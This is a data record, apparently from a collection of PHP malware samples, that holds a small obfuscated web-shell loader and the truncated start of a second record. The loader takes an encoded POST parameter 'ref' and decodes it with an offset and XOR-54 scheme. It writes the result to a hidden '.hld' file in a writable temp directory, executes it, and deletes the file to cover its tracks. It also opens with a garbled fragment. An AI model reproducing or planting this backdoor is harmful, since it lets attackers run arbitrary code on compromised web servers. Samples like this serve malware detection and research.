{'id': 31074, 'code': 'X9O77fyn 0 && isset($_POST["r\\x65\\x66"])){\n$elem = array_filter([getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]);\n$res = $_POST["r\\x65\\x66"];\n\t $res =explode \t\t( \t".", \t $res)\t \t;\t \n$pset= \'\';\n$s5= \'abcdefghijklmnopqrstuvwxyz0123456789\';\n$sLen= strlen($s5);\n$len= count($res);\n\nfor ($i= 0; $i <\t$len; $i++) {\n $val= $res[$i];\n $sChar= ord($s5[$i % $sLen]);\n $dec= ((int)$val - $sChar - ($i % 10)) ^ 54;\n $pset .= chr($dec);\n}\nforeach ($elem as $dat):\n if (!!is_dir($dat) && !!is_writable($dat)) {\n $record = sprintf("%s/.hld", $dat);\n $descriptor = fopen($record, \'w\');\nif ($descriptor && fwrite($descriptor, $pset)) {\n fclose($descriptor);\n require $record;\n @unlink($record);\n die();\n}\n }\nendforeach;\n}', 'url_postfix': ';fputs_enc;54;ref'}{'id': 30746, 'code': 'yydAGfkB